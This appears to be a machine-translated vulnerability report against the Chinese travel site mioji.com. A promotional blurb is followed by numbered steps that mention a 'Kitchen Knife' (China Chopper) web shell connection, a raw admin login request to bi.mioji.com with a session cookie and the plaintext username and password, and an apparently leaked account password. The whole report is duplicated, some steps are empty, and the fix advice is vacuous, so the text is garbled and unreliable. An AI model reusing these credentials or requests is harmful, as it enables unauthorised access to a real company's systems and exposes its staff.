Miaoji travel multiple vulnerabilities Sensitive Information Leakage

Miaoji travel multiple vulnerabilities Sensitive Information Leakage

Mio travel (www.mioji.com) is China's first travel route customization Engine Based on AI technology. Use big data and intelligent technology to provide users with a one-click Outbound Travel route plan. Miaoji collects hundreds of millions of travel industry webpages in dozens of languages around the world, and uses semantic understanding technology to mine a travel structured knowledge base with hundreds of millions of information nodes, such as airplanes, trains, and self-driving vehicles, or hotels, scenic spots, and restaurants will be perfectly covered. Based on your needs, you can customize the most reasonable route arrangement and complete personalized travel routes instantly. The solution is a completely objective and neutral third party. It only provides free travel solution design services and does not sell any travel products or charge any intermediate fees, the final product purchase is done through third-party websites (such as Ctrip, Yilong, priceline, and other well-known OTA, airline official website, and hotel official website.

0x01



0x02



Kitchen Knife connection

0x03
POST/admin/login/HTTP/1.1
Host: bi.mioji.com
Proxy-Connection: keep-alive
Content-Length: 62
Accept: application/json, text/javascript, */*; q = 0.01
Origin: http://bi.mioji.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset = UTF-8
Referer: http://bi.mioji.com/admin/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh; q = 0.8
Cookie: PHPSESSID = 3smm9rcoeh1itukck2u0llb9j5
Connection: close
LoginForm % 5 Busername % 5D = wangxin & LoginForm % 5 Bpassword % 5D = 123456



0x04
[Email protected] paladin1221

 

0x01

0x02



Kitchen Knife connection
0x03
POST/admin/login/HTTP/1.1
Host: bi.mioji.com
Proxy-Connection: keep-alive
Content-Length: 62
Accept: application/json, text/javascript, */*; q = 0.01
Origin: http://bi.mioji.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSER
Content-Type: application/x-www-form-urlencoded; charset = UTF-8
Referer: http://bi.mioji.com/admin/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh; q = 0.8
Cookie: PHPSESSID = 3smm9rcoeh1itukck2u0llb9j5
Connection: close
LoginForm % 5 Busername % 5D = wangxin & LoginForm % 5 Bpassword % 5D = 123456



0x04
[Email protected] paladin1221

How to fix the vulnerability: fix the vulnerability.